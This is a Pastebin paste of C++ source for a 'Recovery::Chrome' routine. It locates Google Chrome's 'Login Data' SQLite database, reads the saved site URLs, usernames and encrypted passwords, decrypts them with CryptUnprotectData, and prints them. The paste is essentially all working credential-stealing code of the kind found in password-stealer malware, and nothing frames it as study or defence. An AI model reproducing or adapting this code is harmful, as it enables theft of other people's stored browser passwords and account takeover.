Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #pragma region Google Chrome
- //NEU:
- typedef const void * (_cdecl *sqlite3_column_blob)(sqlite3_stmt*, int iCol);
- typedef int (_cdecl *sqlite3_column_bytes)(sqlite3_stmt*, int iCol);
- bool Recovery::Chrome()
- {
- sqlite3_open sqlite_open;
- sqlite3_close sqlite_close;
- sqlite3_prepare_v2 sqlite_prepare_v2;
- sqlite3_step sqlite_step;
- sqlite3_column_text sqlite_column_text;
- sqlite3_column_blob sqlite_column_blob;
- sqlite3_column_bytes sqlite_column_bytes;
- string sqlite3dll = GetSQLiteDLLPath();
- HMODULE sqlitedll = LoadLibrary(sqlite3dll.c_str());
- string chromedatabase = getenv("appdata");
- chromedatabase = chromedatabase.substr(0, chromedatabase.size() - 8);
- chromedatabase += "\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
- if (GetFileAttributes(chromedatabase.c_str()) != INVALID_FILE_ATTRIBUTES)
- {
- if (sqlitedll)
- {
- sqlite_open = (sqlite3_open)GetProcAddress(sqlitedll, "sqlite3_open");
- sqlite_close = (sqlite3_close)GetProcAddress(sqlitedll, "sqlite3_close");
- sqlite_prepare_v2 = (sqlite3_prepare_v2)GetProcAddress(sqlitedll, "sqlite3_prepare_v2");
- sqlite_step = (sqlite3_step)GetProcAddress(sqlitedll, "sqlite3_step");
- sqlite_column_text = (sqlite3_column_text)GetProcAddress (sqlitedll, "sqlite3_column_text");
- sqlite_column_blob = (sqlite3_column_blob)GetProcAddress (sqlitedll, "sqlite3_column_blob");
- sqlite_column_bytes = (sqlite3_column_bytes)GetProcAddress (sqlitedll, "sqlite3_column_bytes");
- if ((sqlite_open) && (sqlite_close) && (sqlite_prepare_v2) && (sqlite_step) && (sqlite_column_text) && (sqlite_column_blob) && (sqlite_column_bytes))
- {
- sqlite3 * db;
- if (sqlite_open(chromedatabase.c_str(), &db) == SQLITE_OK)
- {
- sqlite3_stmt *statement;
- if (sqlite_prepare_v2(db, "SELECT action_url, username_value, password_value from logins", -1, &statement, 0) == SQLITE_OK)
- {
- while(true)
- {
- if (sqlite_step(statement) == SQLITE_ROW)
- {
- DATA_BLOB input, output;
- char * url = (char*) sqlite_column_text(statement, 0);
- char * username = (char*) sqlite_column_text(statement, 1);
- char * password = "";
- input.pbData = (LPBYTE) sqlite_column_blob(statement, 2);
- input.cbData = sqlite_column_bytes(statement, 2);
- if (CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 1, &output))
- {
- password = (char*) output.pbData;
- password[output.cbData] = 0;
- cout << "URL: " << url << endl;
- cout << "User: " << username << endl;
- cout << "Pass: " << password << endl;
- LocalFree(output.pbData);
- }
- else
- {
- cout << "Failed" << endl;
- return false;
- }
- }
- else
- {
- break;
- }
- }
- }
- else
- {
- cout << "Preparing sqlite-database failed!" << endl;
- return false;
- }
- }
- else
- {
- cout << "Loading sqlite-database failed!" << endl;
- return false;
- }
- }
- else
- {
- cout << "Functions not found!" << endl;
- return false;
- }
- }
- else
- {
- cout << "DLL not found!" << endl;
- return false;
- }
- }
- FreeLibrary(sqlitedll);
- }
- #pragma endregion Google Chrome
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement